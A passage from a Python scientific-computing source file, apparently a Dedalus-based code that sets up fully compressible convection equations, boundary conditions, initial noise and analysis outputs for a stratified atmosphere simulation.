of grid points in grid space\n Lx, Ly, Lz - Scalar containing the size of the atmosphere in x, y, z directions\n nx, ny, nz - Scalars containing the number of points in the x, y, z directions\n delta_x, delta_y- Grid spacings in the x, y directions (assuming constant grid spacing)\n z_dealias - 1D NumPy array containing the dealiased locations of grid points in the z-direction\n \"\"\"\n\n def __init__(self, dimensions=2):\n \"\"\"Initialize all object attributes\"\"\"\n self.compound = False\n self.dimensions = dimensions\n self.domain = None\n self.mesh = None\n self.problem = None\n self.problem_type = ''\n self.x, self.Lx, self.nx, self.delta_x = [None]*4\n self.y, self.Ly, self.ny, self.delta_y = [None]*4\n self.z, self.z_dealias, self.Lz, self.nz = [None]*4\n return\n\n def _set_domain(self, nx=256, Lx=4,\n ny=256, Ly=4,\n nz=128, Lz=1,\n grid_dtype=np.float64, comm=MPI.COMM_WORLD, mesh=None):\n \"\"\"\n Here the dedalus domain is created for the equation set\n\n Inputs:\n nx, ny, nz - Number of grid points in the x, y, z directions\n Lx, Ly, Lz - Physical size of the x, y, z direction\n grid_dtype - Datatype to use for grid points in the problem\n comm - Comm group over which to solve. Use COMM_SELF for EVP\n mesh - The processor mesh over which the problem is solved.\n \"\"\"\n # the naming conventions here force cartesian, generalize to spheres etc. make sense?\n self.mesh=mesh\n \n if not isinstance(nz, list):\n nz = [nz]\n if not isinstance(Lz, list):\n Lz = [Lz] \n\n if len(nz)>1:\n logger.info(\"Setting compound basis in vertical (z) direction\")\n z_basis_list = []\n Lz_interface = 0.\n for iz, nz_i in enumerate(nz):\n Lz_top = Lz[iz]+Lz_interface\n z_basis = de.Chebyshev('z', nz_i, interval=[Lz_interface, Lz_top], dealias=3/2)\n z_basis_list.append(z_basis)\n Lz_interface = Lz_top\n self.compound = True\n z_basis = de.Compound('z', tuple(z_basis_list), dealias=3/2)\n elif len(nz)==1:\n logger.info(\"Setting single chebyshev basis in vertical (z) direction\")\n z_basis = de.Chebyshev('z', nz[0], interval=[0, Lz[0]], dealias=3/2)\n \n if self.dimensions > 1:\n x_basis = de.Fourier( 'x', nx, interval=[0., Lx], dealias=3/2)\n if self.dimensions > 2:\n y_basis = de.Fourier( 'y', ny, interval=[0., Ly], dealias=3/2)\n if self.dimensions == 1:\n bases = [z_basis]\n elif self.dimensions == 2:\n bases = [x_basis, z_basis]\n elif self.dimensions == 3:\n bases = [x_basis, y_basis, z_basis]\n else:\n logger.error('>3 dimensions not implemented')\n \n self.domain = de.Domain(bases, grid_dtype=grid_dtype, comm=comm, mesh=mesh)\n \n self.z = self.domain.grid(-1) # need to access globally-sized z-basis\n self.Lz = self.domain.bases[-1].interval[1] - self.domain.bases[-1].interval[0] # global size of Lz\n self.nz = self.domain.bases[-1].coeff_size\n\n self.z_dealias = self.domain.grid(axis=-1, scales=self.domain.dealias)\n\n if self.dimensions == 1:\n self.Lx, self.Ly = 0, 0\n if self.dimensions > 1:\n self.x = self.domain.grid(0)\n self.Lx = self.domain.bases[0].interval[1] - self.domain.bases[0].interval[0] # global size of Lx\n self.nx = self.domain.bases[0].coeff_size\n self.delta_x = self.Lx/self.nx\n if self.dimensions > 2:\n self.y = self.domain.grid(1)\n self.Ly = self.domain.bases[1].interval[1] - self.domain.bases[0].interval[0] # global size of Lx\n self.ny = self.domain.bases[1].coeff_size\n self.delta_y = self.Ly/self.ny\n \n def set_IVP_problem(self, *args, ncc_cutoff=1e-10, **kwargs):\n \"\"\"\n Constructs and initial value problem of the current object's equation set\n \"\"\"\n self.problem_type = 'IVP'\n self.problem = de.IVP(self.domain, variables=self.variables, ncc_cutoff=ncc_cutoff)\n self.set_equations(*args, **kwargs)\n\n def set_eigenvalue_problem(self, *args, ncc_cutoff=1e-10, tolerance=1e-10, **kwargs):\n \"\"\"\n Constructs an eigenvalue problem of the current objeect's equation set.\n Note that dt(f) = omega * f, not i * omega * f, so real parts of omega\n are growth / shrinking nodes, imaginary parts are oscillating.\n \"\"\"\n # should be set EVP for consistency with set IVP. Why do we have P_problem. Why not IVP, EVP.\n self.problem_type = 'EVP'\n self.problem = de.EVP(self.domain, variables=self.variables, eigenvalue='omega', ncc_cutoff=ncc_cutoff, tolerance=tolerance)\n self.problem.substitutions['dt(f)'] = \"omega*f\"\n self.set_equations(*args, **kwargs)\n\n def set_equations(self, *args, **kwargs):\n \"\"\" This function must be implemented in child objects of this class \"\"\"\n pass\n\n def get_problem(self):\n return self.problem\n\n def _new_ncc(self):\n \"\"\"\n Create a new field of the atmosphere from the dedalus domain. Field's metadata is\n set so that it is constant in the x- and y- directions (but can vary in the z).\n \"\"\"\n # is this used at all in equations.py (other than rxn), or just in atmospheres?\n # the naming conventions here force cartesian, generalize to spheres etc. make sense?\n # should \"necessary quantities\" logic occur here?\n field = self.domain.new_field()\n if self.dimensions > 1:\n field.meta['x']['constant'] = True\n if self.dimensions > 2:\n field.meta['y']['constant'] = True \n return field\n\n def _new_field(self):\n \"\"\"Create a new field of the atmosphere that is NOT a NCC. \"\"\"\n field = self.domain.new_field()\n return field\n\n def _set_subs(self):\n \"\"\" This function must be implemented in child objects of this class \"\"\"\n pass\n\n def global_noise(self, seed=42, **kwargs):\n \"\"\"\n Create a field fielled with random noise of order 1. Modify seed to\n get varying noise, keep seed the same to directly compare runs.\n \"\"\"\n # Random perturbations, initialized globally for same results in parallel\n gshape = self.domain.dist.grid_layout.global_shape(scales=self.domain.dealias)\n slices = self.domain.dist.grid_layout.slices(scales=self.domain.dealias)\n rand = np.random.RandomState(seed=seed)\n noise = rand.standard_normal(gshape)[slices]\n\n # filter in k-space\n noise_field = self._new_field()\n noise_field.set_scales(self.domain.dealias, keep_data=False)\n noise_field['g'] = noise\n self.filter_field(noise_field, **kwargs)\n\n return noise_field\n\n def filter_field(self, field, frac=0.25):\n \"\"\"\n Filter a field in coefficient space by cutting off all coefficient above\n a given threshold. This is accomplished by changing the scale of a field,\n forcing it into coefficient space at that small scale, then coming back to\n the original scale.\n\n Inputs:\n field - The dedalus field to filter\n frac - The fraction of coefficients to KEEP POWER IN. If frac=0.25,\n The upper 75% of coefficients are set to 0.\n \"\"\"\n dom = field.domain\n logger.info(\"filtering field {} with frac={} using a set-scales approach\".format(field.name,frac))\n orig_scale = field.meta[:]['scale']\n field.set_scales(frac, keep_data=True)\n field['c']\n field['g']\n field.set_scales(orig_scale, keep_data=True)\n \nclass FC_equations(Equations):\n def __init__(self, **kwargs):\n super(FC_equations, self).__init__(**kwargs)\n\n def _set_parameters(self):\n '''\n Basic parameters needed for fully compressible equations in stratified atmosphere.\n '''\n self.problem.parameters['Lz'] = self.Lz\n if self.dimensions > 1:\n self.problem.parameters['Lx'] = self.Lx\n if self.dimensions > 2:\n self.problem.parameters['Ly'] = self.Ly\n\n # these are all ideal gas; also should be in atmosphere, breaks consistency currently.\n # momentum equation and thermal equation also probably bake in ideal gas presently.\n # EOS related on a fumdanental level.\n self.problem.parameters['gamma'] = self.gamma\n self.problem.parameters['Cv'] = 1/(self.gamma-1)\n self.problem.parameters['Cv_inv'] = self.gamma-1\n self.problem.parameters['Cp'] = self.gamma/(self.gamma-1)\n self.problem.parameters['Cp_inv'] = (self.gamma-1)/self.gamma\n \n # thermodynamic quantities\n # these assume stuff is stored in self. and have particular names. They come from atmosphere things.\n # go to NCC dictionary? All keys could be defined on init, and this could all be handled by a 3-line for loop.\n # need an analysis dictionary and keyset as well, since some things used there and not in eqns.\n self.problem.parameters['T0'] = self.T0\n self.problem.parameters['T0_z'] = self.T0_z\n self.problem.parameters['T0_zz'] = self.T0_zz\n \n self.problem.parameters['rho0'] = self.rho0\n self.problem.parameters['del_ln_rho0'] = self.del_ln_rho0\n \n self.problem.parameters['del_s0'] = self.del_s0\n\n # gravity\n self.problem.parameters['g'] = self.g\n self.problem.parameters['phi'] = self.phi\n\n # scaling factor to reduce NCC bandwidth of all equations\n self.problem.parameters['scale'] = self.scale\n self.problem.parameters['scale_continuity'] = self.scale_continuity\n self.problem.parameters['scale_momentum'] = self.scale_momentum\n self.problem.parameters['scale_energy'] = self.scale_energy\n\n # diffusivities\n self.problem.parameters['nu_l'] = self.nu_l\n self.problem.parameters['chi_l'] = self.chi_l\n self.problem.parameters['del_chi_l'] = self.del_chi_l\n self.problem.parameters['del_nu_l'] = self.del_nu_l\n self.problem.parameters['nu_r'] = self.nu_r\n self.problem.parameters['chi_r'] = self.chi_r\n self.problem.parameters['del_chi_r'] = self.del_chi_r\n self.problem.parameters['del_nu_r'] = self.del_nu_r\n\n self.IH_flux.differentiate('z', out=self.IH)\n self.problem.parameters['IH'] = self.IH\n self.problem.parameters['IH_flux'] = self.IH_flux\n self.problem.parameters['cz_mask'] = self.cz_mask\n\n self.problem.parameters['Lsm1'] = self.Lsm1\n self.problem.parameters['d_conv'] = self.d_conv\n\n # Thermo subs that are used later, but before set_subs() is called; okay or not okay?\n self.problem.parameters['delta_s_atm'] = self.delta_s\n\n # this first one (rho_full) is the one that doesn't fit in set_subs() when we used kappa and mu as primary variables, because the viscous subs need this to get anywhere.\n self.problem.substitutions['rho_full'] = 'rho0*exp(ln_rho1)' \n self.problem.substitutions['rho_fluc'] = 'rho0*(exp(ln_rho1)-1)'\n self.problem.substitutions['ln_rho0'] = 'log(rho0)'\n self.problem.substitutions['ln_rho_full'] = '(ln_rho0 + ln_rho1)'\n self.problem.substitutions['T_full'] = '(T0 + T1)'\n self.problem.substitutions['s_fluc'] = '((1/Cv_inv)*log(1+T1/T0) - ln_rho1)'\n self.problem.substitutions['s_mean'] = '((1/Cv_inv)*log(T0) - ln_rho0)'\n self.problem.substitutions['m_ad'] = '((gamma-1)**-1)'\n\n def _set_operators(self):\n # differential operators\n self.problem.substitutions['Lap(f, f_z)'] = \"(dx(dx(f)) + dy(dy(f)) + dz(f_z))\"\n self.problem.substitutions['Div(fx, fy, fz_z)'] = \"(dx(fx) + dy(fy) + fz_z)\"\n self.problem.substitutions['Div_u'] = \"Div(u, v, w_z)\"\n self.problem.substitutions['UdotGrad(f, f_z)'] = \"(u*dx(f) + v*dy(f) + w*(f_z))\"\n \n self.problem.substitutions[\"σxx\"] = \"(2*dx(u) - 2/3*Div_u)\"\n self.problem.substitutions[\"σyy\"] = \"(2*dy(v) - 2/3*Div_u)\"\n self.problem.substitutions[\"σzz\"] = \"(2*w_z - 2/3*Div_u)\"\n self.problem.substitutions[\"σxy\"] = \"(dx(v) + dy(u))\"\n self.problem.substitutions[\"σxz\"] = \"(dx(w) + u_z )\"\n self.problem.substitutions[\"σyz\"] = \"(dy(w) + v_z )\"\n\n self.problem.substitutions['ω_x'] = '(dy(w) - v_z)' \n self.problem.substitutions['ω_y'] = '( u_z - dx(w))' \n self.problem.substitutions['ω_z'] = '(dx(v) - dy(u))' \n self.problem.substitutions['enstrophy'] = '(ω_x**2 + ω_y**2 + ω_z**2)'\n\n def _set_diffusion_subs(self): \n # define nu and chi for output\n if self.split_diffusivities:\n self.problem.substitutions['nu'] = '(nu_l + nu_r)'\n self.problem.substitutions['del_nu'] = '(del_nu_l + del_nu_r)'\n self.problem.substitutions['chi'] = '(chi_l + chi_r)'\n self.problem.substitutions['del_chi'] = '(del_chi_l + del_chi_r)'\n else:\n self.problem.substitutions['nu'] = '(nu_l)'\n self.problem.substitutions['del_nu'] = '(del_nu_l)'\n self.problem.substitutions['chi'] = '(chi_l)'\n self.problem.substitutions['del_chi'] = '(del_chi_l)'\n\n self.viscous_term_u_l = \" nu_l*(Lap(u, u_z) + 1/3*Div(dx(u), dx(v), dx(w_z)))\"\n self.viscous_term_v_l = \" nu_l*(Lap(v, v_z) + 1/3*Div(dy(u), dy(v), dy(w_z)))\"\n self.viscous_term_w_l = \" nu_l*(Lap(w, w_z) + 1/3*Div( u_z, v_z, dz(w_z)))\"\n self.viscous_term_u_r = \" nu_r*(Lap(u, u_z) + 1/3*Div(dx(u), dx(v), dx(w_z)))\"\n self.viscous_term_v_r = \" nu_r*(Lap(v, v_z) + 1/3*Div(dy(u), dy(v), dy(w_z)))\"\n self.viscous_term_w_r = \" nu_r*(Lap(w, w_z) + 1/3*Div( u_z, v_z, dz(w_z)))\"\n # here, nu and chi are constants \n if not self.constant_mu:\n self.viscous_term_u_l += \" + (nu_l*del_ln_rho0 + del_nu_l) * σxz\"\n self.viscous_term_w_l += \" + (nu_l*del_ln_rho0 + del_nu_l) * σzz\"\n self.viscous_term_v_l += \" + (nu_l*del_ln_rho0 + del_nu_l) * σyz\"\n self.viscous_term_u_r += \" + (nu_r*del_ln_rho0 + del_nu_r) * σxz\"\n self.viscous_term_w_r += \" + (nu_r*del_ln_rho0 + del_nu_r) * σzz\"\n self.viscous_term_v_r += \" + (nu_r*del_ln_rho0 + del_nu_r) * σyz\"\n\n self.problem.substitutions['L_visc_w'] = self.viscous_term_w_l\n self.problem.substitutions['L_visc_u'] = self.viscous_term_u_l\n self.problem.substitutions['L_visc_v'] = self.viscous_term_v_l\n \n self.nonlinear_viscous_u = \" nu*(dx(ln_rho1)*σxx + dy(ln_rho1)*σxy + dz(ln_rho1)*σxz)\"\n self.nonlinear_viscous_v = \" nu*(dx(ln_rho1)*σxy + dy(ln_rho1)*σyy + dz(ln_rho1)*σyz)\"\n self.nonlinear_viscous_w = \" nu*(dx(ln_rho1)*σxz + dy(ln_rho1)*σyz + dz(ln_rho1)*σzz)\"\n if self.split_diffusivities:\n self.nonlinear_viscous_u += \" + {}\".format(self.viscous_term_u_r)\n self.nonlinear_viscous_v += \" + {}\".format(self.viscous_term_v_r)\n self.nonlinear_viscous_w += \" + {}\".format(self.viscous_term_w_r)\n \n self.problem.substitutions['R_visc_u'] = self.nonlinear_viscous_u\n self.problem.substitutions['R_visc_v'] = self.nonlinear_viscous_v\n self.problem.substitutions['R_visc_w'] = self.nonlinear_viscous_w\n\n # double check implementation of variabile chi and background coupling term.\n self.linear_thermal_diff_l = \" Cv_inv*(chi_l*(Lap(T1, T1_z) + T0_z*dz(ln_rho1)))\"\n self.linear_thermal_diff_r = \" Cv_inv*(chi_r*(Lap(T1, T1_z) + T0_z*dz(ln_rho1)))\"\n self.nonlinear_thermal_diff = \" Cv_inv*chi*(dx(T1)*dx(ln_rho1) + dy(T1)*dy(ln_rho1) + T1_z*dz(ln_rho1))\"\n self.source = \" (Cv_inv*chi*(T0_zz + IH))\"\n if not self.constant_kappa:\n self.linear_thermal_diff_l += '+ Cv_inv*(chi_l*del_ln_rho0 + del_chi_l)*T1_z'\n self.linear_thermal_diff_r += '+ Cv_inv*(chi_r*del_ln_rho0 + del_chi_r)*T1_z'\n self.source += '+ Cv_inv*(chi*del_ln_rho0 + del_chi)*T0_z'\n\n if self.split_diffusivities:\n self.nonlinear_thermal_diff += \" + {}\".format(self.linear_thermal_diff_r)\n self.problem.substitutions['L_thermal'] = self.linear_thermal_diff_l\n self.problem.substitutions['R_thermal'] = self.nonlinear_thermal_diff\n self.problem.substitutions['source_terms'] = self.source\n\n self.problem.substitutions['R_visc_heat'] = \" Cv_inv*nu*(dx(u)*σxx + dy(v)*σyy + w_z*σzz + σxy**2 + σxz**2 + σyz**2)\"\n\n self.problem.substitutions['kappa_flux_mean'] = '-rho0*chi*dz(T0)'\n self.problem.substitutions['kappa_flux_fluc'] = '(-rho_full*chi*dz(T1) - rho_fluc*chi*dz(T0))'\n self.problem.substitutions['kappa_flux_superad'] = '((kappa_flux_mean) + (kappa_flux_fluc) - rho_full*chi*g/Cp)'\n\n\n \n def _set_subs(self):\n # does both analysis subs and equation subs currently.\n self.problem.substitutions['plane_std(A)'] = 'sqrt(plane_avg((A - plane_avg(A))**2))'\n # other anaylsis operations (vol avg, etc.) currently set in 2-D and 3-D extensions. Good or bad?\n\n # output parameters\n self.problem.substitutions['Rayleigh_global'] = 'g*Lz**3*delta_s_atm*Cp_inv/(nu*chi)'\n self.problem.substitutions['Rayleigh_local'] = 'g*Lz**4*dz(s_mean+s_fluc)*Cp_inv/(nu*chi)'\n\n self.problem.substitutions['epsilon_0'] = 'log(T0**(1/(gamma-1))/rho0)/log(T0)'\n self.problem.substitutions['epsilon'] = 'log(T_full**(1/(gamma-1))/rho_full)/log(T_full)'\n \n self.problem.substitutions['poly_m_eff'] = 'log(rho_full)/log(T_full)'\n \n self.problem.substitutions['vel_rms'] = 'sqrt(u**2 + v**2 + w**2)'\n self.problem.substitutions['KE'] = 'rho_full*(vel_rms**2)/2'\n self.problem.substitutions['PE'] = 'rho_full*phi'\n self.problem.substitutions['PE_fluc'] = 'rho_fluc*phi'\n self.problem.substitutions['IE'] = 'rho_full*Cv*(T1+T0)'\n self.problem.substitutions['IE_fluc'] = 'rho_full*Cv*T1+rho_fluc*Cv*T0'\n self.problem.substitutions['P'] = 'rho_full*(T1+T0)'\n self.problem.substitutions['P_fluc'] = 'rho_full*T1+rho_fluc*T0'\n self.problem.substitutions['h'] = '(IE + P)'\n self.problem.substitutions['h_fluc'] = '(IE_fluc + P_fluc)'\n self.problem.substitutions['u_rms'] = 'sqrt(u**2)'\n self.problem.substitutions['v_rms'] = 'sqrt(v**2)'\n self.problem.substitutions['w_rms'] = 'sqrt(w**2)'\n self.problem.substitutions['Re_rms'] = 'vel_rms*Lz/nu'\n self.problem.substitutions['Pe_rms'] = 'vel_rms*Lz/chi'\n self.problem.substitutions['Ma_iso_rms'] = '(vel_rms/sqrt(T_full))'\n self.problem.substitutions['Ma_ad_rms'] = '(vel_rms/(sqrt(gamma*T_full)))'\n #self.problem.substitutions['lambda_microscale'] = 'sqrt(plane_avg(vel_rms)/plane_avg(enstrophy))'\n #self.problem.substitutions['Re_microscale'] = 'vel_rms*lambda_microscale/nu'\n #self.problem.substitutions['Pe_microscale'] = 'vel_rms*lambda_microscale/chi'\n \n self.problem.substitutions['h_flux_z'] = 'w*(h)'\n self.problem.substitutions['kappa_flux_z'] = '(kappa_flux_mean + kappa_flux_fluc)'\n self.problem.substitutions['KE_flux_z'] = 'w*(KE)'\n self.problem.substitutions['PE_flux_z'] = 'w*(PE)'\n self.problem.substitutions['viscous_flux_z'] = '- rho_full * nu * (u*σxz + v*σyz + w*σzz)'\n self.problem.substitutions['convective_flux_z'] = '(viscous_flux_z + KE_flux_z + PE_flux_z + h_flux_z)'\n \n self.problem.substitutions['evolved_avg_kappa'] = 'vol_avg(rho_full*chi)'\n self.problem.substitutions['kappa_adiabatic_flux_z_G75'] = '(rho0*chi*g/Cp)'\n self.problem.substitutions['kappa_adiabatic_flux_z_AB17'] = '(evolved_avg_kappa*g/Cp)'\n self.problem.substitutions['kappa_reference_flux_z_G75'] = '(-chi*rho0*(right(T1+T0)-left(T1+T0))/Lz)'\n self.problem.substitutions['Nusselt_norm_G75'] = '(kappa_reference_flux_z_G75 - kappa_adiabatic_flux_z_G75)'\n self.problem.substitutions['Nusselt_norm_AB17'] = 'vol_avg(kappa_flux_z - kappa_adiabatic_flux_z_AB17)'\n self.problem.substitutions['all_flux_minus_adiabatic_G75'] = '(convective_flux_z+kappa_flux_z-kappa_adiabatic_flux_z_G75)'\n self.problem.substitutions['all_flux_minus_adiabatic_AB17'] = '(convective_flux_z+kappa_flux_z-kappa_adiabatic_flux_z_AB17)'\n self.problem.substitutions['Nusselt_G75'] = '((all_flux_minus_adiabatic_G75)/(Nusselt_norm_G75))'\n self.problem.substitutions['Nusselt_AB17'] = '((all_flux_minus_adiabatic_AB17)/(Nusselt_norm_AB17))'\n \n def set_BC(self,\n fixed_flux=None, fixed_temperature=None, mixed_flux_temperature=None, mixed_temperature_flux=None,\n stress_free=None, no_slip=None):\n\n self.dirichlet_set = []\n\n self.set_thermal_BC(fixed_flux=fixed_flux, fixed_temperature=fixed_temperature,\n mixed_flux_temperature=mixed_flux_temperature, mixed_temperature_flux=mixed_temperature_flux)\n \n self.set_velocity_BC(stress_free=stress_free, no_slip=no_slip)\n \n for key in self.dirichlet_set:\n self.problem.meta[key]['z']['dirichlet'] = True\n \n def set_thermal_BC(self, fixed_flux=None, fixed_temperature=None, mixed_flux_temperature=None, mixed_temperature_flux=None):\n # not(None) logic is going to be deprecated in future python releases. What is the best way to use None as a function argument and in logic? \"if A is None\" vs \"if not(A)\" and \"if A\". Gabo will check.\n if not(fixed_flux) and not(fixed_temperature) and not(mixed_temperature_flux) and not(mixed_flux_temperature):\n mixed_flux_temperature = True\n\n # is this EVP aware check still needed? What's going wrong with the EVP homogenization? Why does it need to be done by hand? Check if this is still actually broken, determine why.\n if 'EVP' in self.problem_type:\n l_flux_rhs_str = \"0\"\n r_flux_rhs_str = \"0\"\n else:\n l_flux_rhs_str = \" left((exp(-ln_rho1)-1+ln_rho1)*T0_z)\"\n r_flux_rhs_str = \"right((exp(-ln_rho1)-1+ln_rho1)*T0_z)\"\n # thermal boundary conditions\n if fixed_flux:\n logger.info(\"Thermal BC: fixed flux (full form)\")\n self.problem.add_bc( \"left(T1_z + ln_rho1*T0_z) = {:s}\".format(l_flux_rhs_str))\n self.problem.add_bc(\"right(T1_z + ln_rho1*T0_z) = {:s}\".format(r_flux_rhs_str))\n self.dirichlet_set.append('T1_z')\n self.dirichlet_set.append('ln_rho1')\n elif fixed_temperature:\n logger.info(\"Thermal BC: fixed temperature (T1)\")\n self.problem.add_bc( \"left(T1) = 0\")\n self.problem.add_bc(\"right(T1) = 0\")\n self.dirichlet_set.append('T1')\n elif mixed_flux_temperature:\n logger.info(\"Thermal BC: fixed flux/fixed temperature\")\n self.problem.add_bc(\"left(T1_z + ln_rho1*T0_z) = {:s}\".format(l_flux_rhs_str))\n self.problem.add_bc(\"right(T1) = 0\")\n self.dirichlet_set.append('T1_z')\n self.dirichlet_set.append('T1')\n self.dirichlet_set.append('ln_rho1')\n elif mixed_temperature_flux:\n logger.info(\"Thermal BC: fixed temperature/fixed flux\")\n logger.info(\"warning; these are not fully correct fixed flux conditions yet\")\n self.problem.add_bc(\"left(T1) = 0\")\n self.problem.add_bc(\"right(T1_z + ln_rho1*T0_z) = {:s}\".format(r_flux_rhs_str))\n self.dirichlet_set.append('T1_z')\n self.dirichlet_set.append('T1')\n self.dirichlet_set.append('ln_rho1')\n else:\n logger.error(\"Incorrect thermal boundary conditions specified\")\n raise\n\n def set_velocity_BC(self, stress_free=None, no_slip=None):\n if not(stress_free) and not(no_slip):\n stress_free = True\n \n # horizontal velocity boundary conditions\n if stress_free:\n logger.info(\"Horizontal velocity BC: stress free\")\n self.problem.add_bc( \"left(u_z) = 0\")\n self.problem.add_bc(\"right(u_z) = 0\")\n self.dirichlet_set.append('u_z')\n elif no_slip:\n logger.info(\"Horizontal velocity BC: no slip\")\n self.problem.add_bc( \"left(u) = 0\")\n self.problem.add_bc(\"right(u) = 0\")\n self.dirichlet_set.append('u')\n else:\n logger.error(\"Incorrect horizontal velocity boundary conditions specified\")\n raise\n\n # vertical velocity boundary conditions\n logger.info(\"Vertical velocity BC: impenetrable\")\n self.problem.add_bc( \"left(w) = 0\")\n self.problem.add_bc(\"right(w) = 0\")\n self.dirichlet_set.append('w')\n \n def set_IC(self, solver, A0=1e-6, **kwargs):\n # initial conditions\n T_IC = solver.state['T1']\n T_z_IC = solver.state['T1_z']\n ln_rho_IC = solver.state['ln_rho1']\n \n noise = self.global_noise(**kwargs)\n noise.set_scales(self.domain.dealias, keep_data=True)\n T_IC.set_scales(self.domain.dealias, keep_data=True)\n self.T0.set_scales(self.domain.dealias, keep_data=True)\n T_IC['g'] = self.epsilon*A0*np.sin(np.pi*self.z_dealias/self.Lz)*noise['g']*self.T0['g']\n T_IC.differentiate('z', out=T_z_IC)\n logger.info(\"Starting with T1 perturbations of amplitude A0 = {:g}\".format(A0))\n\n def get_full_T(self, solver):\n T1 = solver.state['T1']\n T_scales = T1.meta[:]['scale']\n T1.set_scales(self.domain.dealias, keep_data=True)\n self.T0.set_scales(self.domain.dealias, keep_data=True)\n T = self._new_field()\n T.set_scales(self.domain.dealias, keep_data=False)\n T['g'] = self.T0['g'] + T1['g']\n T.set_scales(T_scales, keep_data=True)\n T1.set_scales(T_scales, keep_data=True)\n return T\n\n def get_full_rho(self, solver):\n ln_rho1 = solver.state['ln_rho1']\n rho_scales = ln_rho1.meta[:]['scale']\n self.rho0.set_scales(rho_scales, keep_data=True)\n rho = self._new_field()\n rho['g'] = self.rho0['g']*np.exp(ln_rho1['g'])\n rho.set_scales(rho_scales, keep_data=True)\n ln_rho1.set_scales(rho_scales, keep_data=True)\n return rho\n\n def check_system(self, solver, **kwargs):\n T = self.get_full_T(solver)\n rho = self.get_full_rho(solver)\n\n self.check_atmosphere(T=T, rho=rho, **kwargs)\n \n def initialize_output(self, solver, data_dir, coeffs_output=False,\n max_writes=20, mode=\"overwrite\", **kwargs):\n\n self.analysis_tasks = analysis_tasks = OrderedDict()\n\n analysis_profile = solver.evaluator.add_file_handler(data_dir+\"profiles\", max_writes=max_writes, parallel=False,\n mode=mode, **kwargs)\n analysis_profile.add_task(\"plane_avg(T1)\", name=\"T1\")\n analysis_profile.add_task(\"plane_avg(ln_rho1)\", name=\"ln_rho1\")\n analysis_profile.add_task(\"plane_avg(w)\", name=\"w\")\n analysis_profile.add_task(\"plane_avg(u)\", name=\"u\")\n\n analysis_profile.add_task(\"plane_avg(T_full)\", name=\"T_full\")\n analysis_profile.add_task(\"plane_avg(Ma_iso_rms)\", name=\"Ma_iso\")\n analysis_profile.add_task(\"plane_avg(Ma_ad_rms)\", name=\"Ma_ad\")\n analysis_profile.add_task(\"plane_avg(rho_full)\", name=\"rho_full\")\n analysis_profile.add_task(\"plane_avg(KE)\", name=\"KE\")\n analysis_profile.add_task(\"plane_avg(PE)\", name=\"PE\")\n analysis_profile.add_task(\"plane_avg(IE)\", name=\"IE\")\n analysis_profile.add_task(\"plane_avg(PE_fluc)\", name=\"PE_fluc\")\n analysis_profile.add_task(\"plane_avg(IE_fluc)\", name=\"IE_fluc\")\n analysis_profile.add_task(\"plane_avg(KE + PE + IE)\", name=\"TE\")\n analysis_profile.add_task(\"plane_avg(KE + PE_fluc + IE_fluc)\", name=\"TE_fluc\")\n\n analysis_profile.add_task(\"plane_avg(KE_flux_z)\", name=\"KE_flux_z\")\n analysis_profile.add_task(\"plane_avg(PE_flux_z)\", name=\"PE_flux_z\")\n analysis_profile.add_task(\"plane_avg(w*(IE))\", name=\"IE_flux_z\")\n analysis_profile.add_task(\"plane_avg(w*(P))\", name=\"P_flux_z\")\n analysis_profile.add_task(\"plane_avg(h_flux_z)\", name=\"enthalpy_flux_z\")\n analysis_profile.add_task(\"plane_avg(-rho_full*chi*IH_flux)\", name=\"IH_flux_z_LHS\")\n analysis_profile.add_task(\"plane_avg(viscous_flux_z)\", name=\"viscous_flux_z\")\n analysis_profile.add_task(\"plane_avg(kappa_flux_z)\", name=\"kappa_flux_z\")\n analysis_profile.add_task(\"plane_avg(kappa_flux_fluc)\", name=\"kappa_flux_fluc_z\")\n analysis_profile.add_task(\"plane_avg(kappa_flux_z - kappa_adiabatic_flux_z_G75)\", name=\"kappa_flux_z_minus_ad_G75\")\n analysis_profile.add_task(\"plane_avg(kappa_flux_z - kappa_adiabatic_flux_z_AB17)\", name=\"kappa_flux_z_minus_ad_AB17\")\n analysis_profile.add_task(\"plane_avg(kappa_flux_z-kappa_adiabatic_flux_z_G75)/vol_avg(Nusselt_norm_G75)\", name=\"norm_kappa_flux_z_G75\")\n analysis_profile.add_task(\"plane_avg(kappa_flux_z-kappa_adiabatic_flux_z_AB17)/vol_avg(Nusselt_norm_AB17)\", name=\"norm_kappa_flux_z_AB17\")\n analysis_profile.add_task(\"plane_avg(Nusselt_G75)\", name=\"Nusselt_G75\")\n analysis_profile.add_task(\"plane_avg(Nusselt_AB17)\", name=\"Nusselt_AB17\")\n analysis_profile.add_task(\"plane_avg(u_rms)\", name=\"u_rms\")\n analysis_profile.add_task(\"plane_avg(w_rms)\", name=\"w_rms\")\n analysis_profile.add_task(\"plane_avg(vel_rms)\", name=\"vel_rms\")\n analysis_profile.add_task(\"plane_avg(Re_rms)\", name=\"Re_rms\")\n analysis_profile.add_task(\"plane_avg(Pe_rms)\", name=\"Pe_rms\")\n analysis_profile.add_task(\"plane_avg(enstrophy)\", name=\"enstrophy\")\n analysis_profile.add_task(\"plane_std(enstrophy)\", name=\"enstrophy_std\") \n analysis_profile.add_task(\"plane_avg(Rayleigh_global)\", name=\"Rayleigh_global\")\n analysis_profile.add_task(\"plane_avg(Rayleigh_local)\", name=\"Rayleigh_local\")\n analysis_profile.add_task(\"plane_avg(s_fluc)\", name=\"s_fluc\")\n analysis_profile.add_task(\"plane_std(s_fluc)\", name=\"s_fluc_std\")\n analysis_profile.add_task(\"plane_avg(s_mean)\", name=\"s_mean\")\n analysis_profile.add_task(\"plane_avg(s_fluc + s_mean)\", name=\"s_tot\")\n analysis_profile.add_task(\"plane_avg(dz(s_fluc))\", name=\"grad_s_fluc\") \n analysis_profile.add_task(\"plane_avg(dz(s_mean))\", name=\"grad_s_mean\") \n analysis_profile.add_task(\"plane_avg(dz(s_fluc + s_mean))\", name=\"grad_s_tot\")\n analysis_profile.add_task(\"plane_avg(g*dz(s_fluc)*Cp_inv)\", name=\"brunt_squared_fluc\") \n analysis_profile.add_task(\"plane_avg(g*dz(s_mean)*Cp_inv)\", name=\"brunt_squared_mean\") \n analysis_profile.add_task(\"plane_avg(g*dz(s_fluc + s_mean)*Cp_inv)\", name=\"brunt_squared_tot\")\n analysis_profile.add_task(\"plane_avg(poly_m_eff)\", name=\"poly_m_eff\")\n\n analysis_tasks['profile'] = analysis_profile\n\n analysis_scalar = solver.evaluator.add_file_handler(data_dir+\"scalar\", max_writes=max_writes, parallel=False,\n mode=mode, **kwargs)\n analysis_scalar.add_task(\"vol_avg(KE)\", name=\"KE\")\n analysis_scalar.add_task(\"vol_avg(PE)\", name=\"PE\")\n 